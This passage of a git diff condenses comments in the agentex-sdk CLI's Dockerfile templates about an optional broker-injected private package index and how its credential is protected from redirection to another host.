+# To opt in, and for why UV_INDEX is pinned to the broker's URL rather than trusting +# the project's, see PRIVATE_INDEX.md in the agentex-sdk CLI templates directory. RUN --mount=type=cache,target=/root/.cache/uv \ --mount=type=secret,id=codeartifact-pip-conf,required=false \ if [ -s /run/secrets/codeartifact-pip-conf ]; then \ diff --git a/src/agentex/lib/cli/templates/sync/Dockerfile.j2 b/src/agentex/lib/cli/templates/sync/Dockerfile.j2 index acc44b89c..d0c204e47 100644 --- a/src/agentex/lib/cli/templates/sync/Dockerfile.j2 +++ b/src/agentex/lib/cli/templates/sync/Dockerfile.j2 @@ -29,15 +29,12 @@ COPY {{ project_path_from_build_root }}/requirements.txt /app/{{ project_path_fr WORKDIR /app/{{ project_path_from_build_root }} -# Optional private index for `agentex-sdk[obs]` and other Scale-internal packages -# (TEAM-RUNBOOK / SGPINF-1568). Inert unless the control-plane broker injects the -# secret, so local builds, CI builds, and agents that never opt in are unaffected. +# Optional private index for Scale-internal packages such as sgp-obs, injected by the +# control-plane broker (SGPINF-1568). Inert unless the secret is present. # -# This template installs from requirements.txt, so no pyproject.toml is present for -# uv to read a named index out of — unlike Dockerfile-uv.j2, which uses the named -# `scale-pypi` index. The credentialed URL is taken straight from the injected pip -# config instead. That is also why nothing is percent-decoded here: the token stays -# inside the URL, already encoded for exactly that use. +# This variant installs from requirements.txt, so there is no pyproject.toml for uv to +# read a named index out of; the credentialed URL is used directly and is deliberately +# NOT decoded. See PRIVATE_INDEX.md in the agentex-sdk CLI templates directory. # # Install the required Python packages RUN --mount=type=secret,id=codeartifact-pip-conf,required=false \ diff --git a/src/agentex/lib/cli/templates/temporal-claude-code/Dockerfile-uv.j2 b/src/agentex/lib/cli/templates/temporal-claude-code/Dockerfile-uv.j2 index aeefd592e..1665bceb1 100644 --- a/src/agentex/lib/cli/templates/temporal-claude-code/Dockerfile-uv.j2 +++ b/src/agentex/lib/cli/templates/temporal-claude-code/Dockerfile-uv.j2 @@ -42,31 +42,12 @@ WORKDIR /app/{{ project_path_from_build_root }} COPY {{ project_path_from_build_root }}/pyproject.toml ./ # Install dependencies (without project itself, for layer caching) -# Optional private index for `agentex-sdk[obs]` and other Scale-internal packages -# (TEAM-RUNBOOK / SGPINF-1568). Inert unless the control-plane broker injects the -# secret, so local builds, CI builds, and agents that never opt in are unaffected. +# Optional private index for Scale-internal packages such as sgp-obs, injected by the +# control-plane broker (SGPINF-1568). Inert unless the secret is present, so local +# builds, CI builds, and agents that never opt in are unaffected. # -# To opt in, add this to the agent's pyproject.toml. The index name must be exactly -# `scale-pypi`, because that is what binds the credentials exported below; rename it -# and they silently stop applying. Exporting UV_INDEX_URL instead does not -# authenticate a named index at all, and the resolve 401s. -# -# [[tool.uv.index]] -# name = "scale-pypi" -# url = "" -# default = true -# -# UV_INDEX re-binds that name to the URL the BROKER supplied, overriding whatever URL -# the project declared for it. Without this the credential follows the name wherever -# pyproject.toml points it: uv sends the token to any host declared under the name -# `scale-pypi`, so a one-line edit to a project file — far less conspicuous in review -# than a change to this Dockerfile — would exfiltrate it. Verified both ways against a -# local server: without UV_INDEX the rogue host receives `Basic aws:`; with it -# the rogue host is never contacted. The URL carries no userinfo; the token travels -# only in UV_INDEX_SCALE_PYPI_PASSWORD. -# -# The token is percent-decoded on the way out: the buildspec URL-encodes it into the -# pip config's URL userinfo, so a token containing + / = arrives as %2B %2F %3D. +# To opt in, and for why UV_INDEX is pinned to the broker's URL rather than trusting +# the project's, see PRIVATE_INDEX.md in the agentex-sdk CLI templates directory. RUN --mount=type=cache,target=/root/.cache/uv \ --mount=type=secret,id=codeartifact-pip-conf,required=false \ if [ -s /run/secrets/codeartifact-pip-conf ]; then \ diff --git a/src/agentex/lib/cli/templates/temporal-claude-code/Dockerfile.j2 b/src/agentex/lib/cli/templates/temporal-claude-code/Dockerfile.j2 index 4a5e4d83a..1297b7bd7 100644 --- a/src/agentex/lib/cli/templates/temporal-claude-code/Dockerfile.j2 +++ b/src/agentex/lib/cli/templates/temporal-claude-code/Dockerfile.j2 @@ -41,15 +41,12 @@ COPY {{ project_path_from_build_root }}/requirements.txt /app/{{ project_path_fr WORKDIR /app/{{ project_path_from_build_root }} -# Optional private index for `agentex-sdk[obs]` and other Scale-internal packages -# (TEAM-RUNBOOK / SGPINF-1568). Inert unless the control-plane broker injects the -# secret, so local builds, CI builds, and agents that never opt in are unaffected. +# Optional private index for Scale-internal packages such as sgp-obs, injected by the +# control-plane broker (SGPINF-1568). Inert unless the secret is present. # -# This template installs from requirements.txt, so no pyproject.toml is present for -# uv to read a named index out of — unlike Dockerfile-uv.j2, which uses the named -# `scale-pypi` index. The credentialed URL is taken straight from the injected pip -# config instead. That is also why nothing is percent-decoded here: the token stays -# inside the URL, already encoded for exactly that use. +# This variant installs from requirements.txt, so there is no pyproject.toml for uv to +# read a named index out of; the credentialed URL is used directly and is deliberately +# NOT decoded. See PRIVATE_INDEX.md in the agentex-sdk CLI templates directory. # # Install the required Python packages RUN --mount=type=secret,id=codeartifact-pip-conf,required=false \ diff --git a/src/agentex/lib/cli/templates/temporal-codex/Dockerfile-uv.j2 b/src/agentex/lib/cli/templates/temporal-codex/Dockerfile-uv.j2 index 1f96a64d2..41d83e31c 100644 --- a/src/agentex/lib/cli/templates/temporal-codex/Dockerfile-uv.j2 +++ b/src/agentex/lib/cli/templates/temporal-codex/Dockerfile-uv.j2 @@ -42,31 +42,12 @@ WORKDIR /app/{{ project_path_from_build_root }} COPY {{ project_path_from_build_root }}/pyproject.toml ./ # Install dependencies (without project itself, for layer caching) -# Optional private index for `agentex-sdk[obs]` and other Scale-internal packages -# (TEAM-RUNBOOK / SGPINF-1568). Inert unless the control-plane broker injects the -# secret, so local builds, CI builds, and agents that never opt in are unaffected. +# Optional private index for Scale-internal packages such as sgp-obs, injected by the +# control-plane broker (SGPINF-1568). Inert unless the secret is present, so local +# builds, CI builds, and agents that never opt in are unaffected. # -# To opt in, add this to the agent's pyproject.toml. The index name must be exactly -# `scale-pypi`, because that is what binds the credentials exported below; rename it -# and they silently stop applying. Exporting UV_INDEX_URL instead does not -# authenticate a named index at all, and the resolve 401s. -# -# [[tool.uv.index]] -# name = "scale-pypi" -# url = "" -# default = true -# -# UV_INDEX re-binds that name to the URL the BROKER supplied, overriding whatever URL -# the project declared for it. Without this the credential follows the name wherever -# pyproject.toml points it: uv sends the token to any host declared under the name -# `scale-pypi`, so a one-line edit to a project file — far less conspicuous in review -# than a change to this Dockerfile — would exfiltrate it. Verified both ways against a -# local server: without UV_INDEX the rogue host receives `Basic aws:`; with it -# the rogue host is never contacted. The URL carries no userinfo; the token travels -# only in UV_INDEX_SCALE_PYPI_PASSWORD. -# -# The token is percent-decoded on the way out: the buildspec URL-encodes it into the -# pip config's URL userinfo, so a token containing + / = arrives as %2B %2F %3D. +# To opt in, and for why UV_INDEX is pinned to the broker's URL rather than trusting +# the project's, see PRIVATE_INDEX.md in the agentex-sdk CLI templates directory. RUN --mount=type=cache,target=/root/.cache/uv \ --mount=type=secret,id=codeartifact-pip-conf,required=false \ if [ -s /run/secrets/codeartifact-pip-conf ]; then \ diff --git a/src/agentex/lib/cli/templates/temporal-codex/Dockerfile.j2 b/src/agentex/lib/cli/templates/temporal-codex/Dockerfile.j2 index c823c7937..d77d8073f 100644 --- a/src/agentex/lib/cli/templates/temporal-codex/Dockerfile.j2 +++ b/src/agentex/lib/cli/templates/temporal-codex/Dockerfile.j2 @@ -41,15 +41,12 @@ COPY {{ project_path_from_build_root }}/requirements.txt /app/{{ project_path_fr WORKDIR /app/{{ project_path_from_build_root }} -# Optional private index for `agentex-sdk[obs]` and other Scale-internal packages -# (TEAM-RUNBOOK / SGPINF-1568). Inert unless the control-plane broker injects the -# secret, so local builds, CI builds, and agents that never opt in are unaffected. +# Optional private index for Scale-internal packages such as sgp-obs, injected by the +# control-plane broker (SGPINF-1568). Inert unless the secret is present. # -# This template installs from requirements.txt, so no pyproject.toml is present for -# uv to read a named index out of — unlike Dockerfile-uv.j2, which uses the named -# `scale-pypi` index. The credentialed URL is taken straight from the injected pip -# config instead. That is also why nothing is percent-decoded here: the token stays -# inside the URL, already encoded for exactly that use. +# This variant installs from requirements.txt, so there is no pyproject.toml for uv to +# read a named index out of; the credentialed URL is used directly and is deliberately +# NOT decoded. See PRIVATE_INDEX.md in the agentex-sdk CLI templates directory. # # Install the required Python packages RUN --mount=type=secret,id=codeartifact-pip-conf,required=false \ diff --git a/src/agentex/lib/cli/templates/temporal-langgraph/Dockerfile-uv.j2 b/src/agentex/lib/cli/templates/temporal-langgraph/Dockerfile-uv.j2 index 65202d3cd..56b4d949c 100644 --- a/src/agentex/lib/cli/templates/temporal-langgraph/Dockerfile-uv.j2 +++ b/src/agentex/lib/cli/templates/temporal-langgraph/Dockerfile-uv.j2 @@ -36,31 +36,12 @@ WORKDIR /app/{{ project_path_from_build_root }} COPY {{ project_path_from_build_root }}/pyproject.toml ./ # Install dependencies (without project itself, for layer caching) -# Optional private index for `agentex-sdk[obs]` and other Scale-internal packages -# (TEAM-RUNBOOK / SGPINF-1568). Inert unless the control-plane broker injects the -# secret, so local builds, CI builds, and agents that never opt in are unaffected. +# Optional private index for Scale-internal packages such as sgp-obs, injected by the +# control-plane broker (SGPINF-1568). Inert unless the secret is present, so local +# builds, CI builds, and agents that never opt in are unaffected. # -# To opt in, add this to the agent's pyproject.toml. The index name must be exactly -# `scale-pypi`, because that is what binds the credentials exported below; rename it -# and they silently stop applying. Exporting UV_INDEX_URL instead does not -# authenticate a named index at all, and the resolve 401s. -# -# [[tool.uv.index]] -# name = "scale-pypi" -# url = "" -# default = true -# -# UV_INDEX re-binds that name to the URL the BROKER supplied, overriding whatever URL -# the project declared for it. Without this the credential follows the name wherever -# pyproject.toml points it: uv sends the token to any host declared under the name -# `scale-pypi`, so a one-line edit to a project file — far less conspicuous in review -# than a change to this Dockerfile — would exfiltrate it. Verified both ways against a -# local server: without UV_INDEX the rogue host receives `Basic aws:`; with it -# the rogue host is never contacted. The URL carries no userinfo; the token travels -# only in UV_INDEX_SCALE_PYPI_PASSWORD. -# -# The token is percent-decoded on the way out: the buildspec URL-encodes it into the -# pip config's URL userinfo, so a token containing + / = arrives as %2B %2F %3D. +# To opt in, and for why UV_INDEX is pinned to the broker's URL rather than trusting +# the project's, see PRIVATE_INDEX.md in the agentex-sdk CLI templates directory. RUN --mount=type=cache,target=/root/.cache/uv \ --mount=type=secret,id=codeartifact-pip-conf,required=false \ if [ -s /run/secrets/codeartifact-pip-conf ]; then \ diff --git a/src/agentex/lib/cli/templates/temporal-langgraph/Dockerfile.j2 b/src/agentex/lib/cli/templates/temporal-langgraph/Dockerfile.j2 index cf8f4638c..5bb133a22 100644 --- a/src/agentex/lib/cli/templates/temporal-langgraph/Dockerfile.j2 +++ b/src/agentex/lib/cli/templates/temporal-langgraph/Dockerfile.j2 @@ -35,15 +35,12 @@ COPY {{ project_path_from_build_root }}/requirements.txt /app/{{ project_path_fr WORKDIR /app/{{ project_path_from_build_root }} -# Optional private index for `agentex-sdk[obs]` and other Scale-internal packages -# (TEAM-RUNBOOK / SGPINF-1568). Inert unless the control-plane broker injects the -# secret, so local builds, CI builds, and agents that never opt in are unaffected. +# Optional private index for Scale-internal packages such as sgp-obs, injected by the +# control-plane broker (SGPINF-1568). Inert unless the secret is present. # -# This template installs from requirements.txt, so no pyproject.toml is present for -# uv to read a named index out of — unlike Dockerfile-uv.j2, which uses the named -# `scale-pypi` index. The credentialed URL is taken straight from the injected pip -# config instead. That is also why nothing is percent-decoded here: the token stays -# inside the URL, already encoded for exactly that use. +# This variant installs from requirements.txt, so there is no pyproject.toml for uv to +# read a named index out of; the credentialed URL is used directly and is deliberately +# NOT decoded. See PRIVATE_INDEX.md in the agentex-sdk CLI templates directory. # # Install the required Python packages RUN --mount=type=secret,id=codeartifact-pip-conf,required=false \ diff --git a/src/agentex/lib/cli/templates/temporal-openai-agents/Dockerfile-uv.j2 b/src/agentex/lib/cli/templates/temporal-openai-agents/Dockerfile-uv.j2 index bb1a726c5..a674d7d35 100644 --- a/src/agentex/lib/cli/templates/temporal-openai-agents/Dockerfile-uv.j2 +++ b/src/agentex/lib/cli/templates/temporal-openai-agents/Dockerfile-uv.j2 @@ -36,31 +36,12 @@ WORKDIR /app/{{ project_path_from_build_root }} COPY {{ project_path_from_build_root }}/pyproject.toml ./ # Install dependencies (without project itself, for layer caching) -# Optional private index for `agentex-sdk[obs]` and other Scale-internal packages -# (TEAM-RUNBOOK / SGPINF-1568). Inert unless the control-plane broker injects the -# secret, so local builds, CI builds, and agents that never opt in are unaffected. +# Optional private index for Scale-internal packages such as sgp-obs, injected by the +# control-plane broker (SGPINF-1568). Inert unless the secret is present, so local +# builds, CI builds, and agents that never opt in are unaffected. # -# To opt in, add this to the agent's pyproject.toml. The index name must be exactly -# `scale-pypi`, because that is what binds the credentials exported below; rename it -# and they silently stop applying. Exporting UV_INDEX_URL instead does not -# authenticate a named index at all, and the resolve 401s. -# -# [[tool.uv.index]] -# name = "scale-pypi" -# url = "" -# default = true -# -# UV_INDEX re-binds that name to the URL the BROKER supplied, overriding whatever URL -# the project declared for it. Without this the credential follows the name wherever -# pyproject.toml points it: uv sends the token to any host declared under the name -# `scale-pypi`, so a one-line edit to a project file — far less conspicuous in review -# than a change to this Dockerfile — would exfiltrate it. Verified both ways against a -# local server: without UV_INDEX the rogue host receives `Basic aws:`; with it -# the rogue host is never contacted. The URL carries no userinfo; the token travels -# only in UV_INDEX_SCALE_PYPI_PASSWORD. -# -# The token is percent-decoded on the way out: the buildspec URL-encodes it into the -# pip config's URL userinfo, so a token containing + / = arrives as %2B %2F %3D. +# To opt in, and for why UV_INDEX is pinned to the broker's URL rather than trusting +# the project's, see PRIVATE_INDEX.md in the agentex-sdk CLI templates directory. RUN --mount=type=cache,target=/root/.cache/uv \ --mount=type=secret,id=codeartifact-pip-conf,required=false \ if [ -s /run/secrets/codeartifact-pip-conf ]; then \ diff --git a/src/agentex/lib/cli/templates/temporal-openai-agents/Dockerfile.j2 b/src/agentex/lib/cli/templates/temporal-openai-agents/Dockerfile.j2 index 020a87fe2..a9a63757d 100644 --- a/src/agentex/lib/cli/templates/temporal-openai-agents/Dockerfile.j2 +++ b/src/agentex/lib/cli/templates/temporal-openai-agents/Dockerfile.j2 @@ -35,15 +35,12 @@ COPY {{ project_path_from_build_root }}/requirements.txt /app/{{ project_path_fr WORKDIR /app/{{ project_path_from_build_root }} -# Optional private index for `agentex-sdk[obs]` and other Scale-internal packages -# (TEAM-RUNBOOK / SGPINF-1568). Inert unless the control-plane broker injects the -# secret, so local builds, CI builds, and agents that never opt in are unaffected. +# Optional private index for Scale-internal packages such as sgp-obs, injected by the +# control-plane broker (SGPINF-1568). Inert unless the secret is present. # -# This template installs from requirements.txt, so no pyproject.toml is present for -# uv to read a named index out of — unlike Dockerfile-uv.j2, which uses the named -# `scale-pypi` index. The credentialed URL is taken straight from the injected pip -# config instead. That is also why nothing is percent-decoded here: the token stays -# inside the URL, already encoded for exactly that use. +# This variant installs from requirements.txt, so there is no pyproject.toml for uv to +# read a named index out of; the credentialed URL is used directly and is deliberately +# NOT decoded. See PRIVATE_INDEX.md in the agentex-sdk CLI templates directory. # # Install the required Python packages RUN --mount=type=secret,id=codeartifact-pip-conf,required=false \ diff --git a/src/agentex/lib/cli/templates/temporal-pydantic-ai/Dockerfile-uv.j2 b/src/agentex/lib/cli/templates/temporal-pydantic-ai/Dockerfile-uv.j2 index bb1a726c5..a674d7d35 100644 --- a/src/agentex/lib/cli/templates/temporal-pydantic-ai/Dockerfile-uv.j2 +++ b/src/agentex/lib/cli/templates/temporal-pydantic-ai/Dockerfile-uv.j2 @@ -36,31 +36,12 @@ WORKDIR /app/{{ project_path_from_build_root }} COPY {{ project_path_from_build_root }}/pyproject.toml ./ # Install dependencies (without project itself, for layer caching) -# Optional private index for `agentex-sdk[obs]` and other Scale-internal packages -# (TEAM-RUNBOOK / SGPINF-1568). Inert unless the control-plane broker injects the -# secret, so local builds, CI builds, and agents that never opt in are unaffected. +# Optional private index for Scale-internal packages such as sgp-obs, injected by the +# control-plane broker (SGPINF-1568). Inert unless the secret is present, so local +# builds, CI builds, and agents that never opt in are unaffected. # -# To opt in, add this to the agent's pyproject.toml. The index name must be exactly -# `scale-pypi`, because that is what binds the credentials exported below; rename it -# and they silently stop applying. Exporting UV_INDEX_URL instead does not -# authenticate a named index at all, and the resolve 401s. -# -# [[tool.uv.index]] -# name = "scale-pypi" -# url = "" -# default = true -# -# UV_INDEX re-binds that name to the URL the BROKER supplied, overriding whatever URL -# the project declared for it. Without this the credential follows the name wherever -# pyproject.toml points it: uv sends the token to any host declared under the name -# `scale-pypi`, so a one-line edit to a project file — far less conspicuous in review -# than a change to this Dockerfile — would exfiltrate it. Verified both ways against a -# local server: without UV_INDEX the rogue host receives `Basic aws:`; with it -# the rogue host is never contacted. The URL carries no userinfo; the token travels -# only in UV_INDEX_SCALE_PYPI_PASSWORD. -# -# The token is percent-decoded on the way out: the buildspec URL-encodes it into the -# pip config's URL userinfo, so a token containing + / = arrives as %2B %2F %3D. +# To opt in, and for why UV_INDEX is pinned to the broker's URL rather than trusting +# the project's, see PRIVATE_INDEX.md in the agentex-sdk CLI templates directory. RUN --mount=type=cache,target=/root/.cache/uv \ --mount=type=secret,id=codeartifact-pip-conf,required=false \ if [ -s /run/secrets/codeartifact-pip-conf ]; then \ diff --git a/src/agentex/lib/cli/templates/temporal-pydantic-ai/Dockerfile.j2 b/src/agentex/lib/cli/templates/temporal-pydantic-ai/Dockerfile.j2 index 020a87fe2..a9a63757d 100644 --- a/src/agentex/lib/cli/templates/temporal-pydantic-ai/Dockerfile.j2 +++ b/src/agentex/lib/cli/templates/temporal-pydantic-ai/Dockerfile.j2 @@ -35,15 +35,12 @@ COPY {{ project_path_from_build_root }}/requirements.txt /app/{{ project_path_fr WORKDIR /app/{{ project_path_from_build_root }} -# Optional private index for `agentex-sdk[obs]` and other Scale-internal packages -# (TEAM-RUNBOOK / SGPINF-1568). Inert unless the control-plane broker injects the -# secret, so local builds, CI builds, and agents that never opt in are unaffected. +# Optional private index for Scale-internal packages such as sgp-obs, injected by the +# control-plane broker (SGPINF-1568). Inert unless the secret is present. # -# This template installs from requirements.txt, so no pyproject.toml is present for -# uv to read a named index out of — unlike Dockerfile-uv.j2, which uses the named -# `scale-pypi` index. The credentialed URL is taken straight from the injected pip -# config instead. That is also why nothing is percent-decoded here: the token stays -# inside the URL, already encoded for exactly that use. +# This variant installs from requirements.txt, so there is no pyproject.toml for uv to +# read a named index out of; the credentialed URL is used directly and is deliberately +# NOT decoded. See PRIVATE_INDEX.md in the agentex-sdk CLI templates directory. # # Install the required Python packages RUN --mount=type=secret,id=codeartifact-pip-conf,required=false \ diff --git a/src/agentex/lib/cli/templates/temporal/Dockerfile-uv.j2 b/src/agentex/lib/cli/templates/temporal/Dockerfile-uv.j2 index bb1a726c5..a674d7d35 100644 --- a/src/agentex/lib/cli/templates/temporal/Dockerfile-uv.j2 +++ b/src/agentex/lib/cli/templates/temporal/Dockerfile-uv.j2 @@ -36,31 +36,12 @@ WORKDIR /app/{{ project_path_from_build_root }} COPY {{ project_path_from_build_root }}/pyproject.toml ./ # Install dependencies (without project itself, for layer caching) -# Optional private index for `agentex-sdk[obs]` and other Scale-internal packages -# (TEAM-RUNBOOK / SGPINF-1568). Inert unless the control-plane broker injects the -# secret, so local builds, CI builds, and agents that never opt in are unaffected. +# Optional private index for Scale-internal packages such as sgp-obs, injected by the +# control-plane broker (SGPINF-1568). Inert unless the secret is present, so local +# builds, CI builds, and agents that never opt in are unaffected. # -# To opt in, add this to the agent's pyproject.toml. The index name must be exactly -# `scale-pypi`, because that is what binds the credentials exported below; rename it -# and they silently stop applying. Exporting UV_INDEX_URL instead does not -# authenticate a named index at all, and the resolve 401s. -# -# [[tool.uv.index]] -# name = "scale-pypi" -# url = "" -# default = true -# -# UV_INDEX re-binds that name to the URL the BROKER supplied, overriding whatever URL -# the project declared for it. Without this the credential follows the name wherever -# pyproject.toml points it: uv sends the token to any host declared under the name -# `scale-pypi`, so a one-line edit to a project file — far less conspicuous in review -# than a change to this Dockerfile — would exfiltrate it. Verified both ways against a -# local server: without UV_INDEX the rogue host receives `Basic aws:`; with it -# the rogue host is never contacted. The URL carries no userinfo; the token travels -# only in UV_INDEX_SCALE_PYPI_PASSWORD. -# -# The token is percent-decoded on the way out: the buildspec URL-encodes it into the -# pip config's URL userinfo, so a token containing + / = arrives as %2B %2F %3D. +# To opt in, and for why UV_INDEX is pinned to the broker's URL rather than trusting +# the project's, see PRIVATE_INDEX.md in the agentex-sdk CLI templates directory. RUN --mount=type=cache,target=/root/.cache/uv \ --mount=type=secret,id=codeartifact-pip-conf,required=false \ if [ -s /run/secrets/codeartifact-pip-conf ]; then \ diff --git a/src/agentex/lib/cli/templates/temporal/Dockerfile.j2 b/src/agentex/lib/cli/templates/temporal/Dockerfile.j2 index 020a87fe2..a9a63757d 100644 --- a/src/agentex/lib/cli/templates/temporal/Dockerfile.j2 +++ b/src/agentex/lib/cli/templates/temporal/Dockerfile.j2 @@ -35,15 +35,12 @@ COPY {{ project_path_from_build_root }}/requirements.txt /app/{{ project_path_fr WORKDIR /app/{{ project_path_from_build_root }} -# Optional private index for `agentex-sdk[obs]` and other Scale-internal packages -# (TEAM-RUNBOOK / SGPINF-1568). Inert unless the control-plane broker injects the -# secret, so local builds, CI builds, and agents that never opt in are unaffected. +# Optional private index for Scale-internal packages such as sgp-obs, injected by the +# control-plane broker (SGPINF-1568). Inert unless the secret is present. # -# This template installs from requirements.txt, so no pyproject.toml is present for -# uv to read a named index out of — unlike Dockerfile-uv.j2, which uses the named -# `scale-pypi` index. The credentialed URL is taken straight from the injected pip -# config instead. That is also why nothing is percent-decoded here: the token stays -# inside the URL, already encoded for exactly that use. +# This variant installs from requirements.txt, so there is no pyproject.toml for uv to +# read a named index out of; the credentialed URL is used directly and is deliberately +# NOT decoded. See PRIVATE_INDEX.md in the agentex-sdk CLI templates directory. # # Install the required Python packages RUN --mount=type=secret,id=codeartifact-pip-conf,required=false \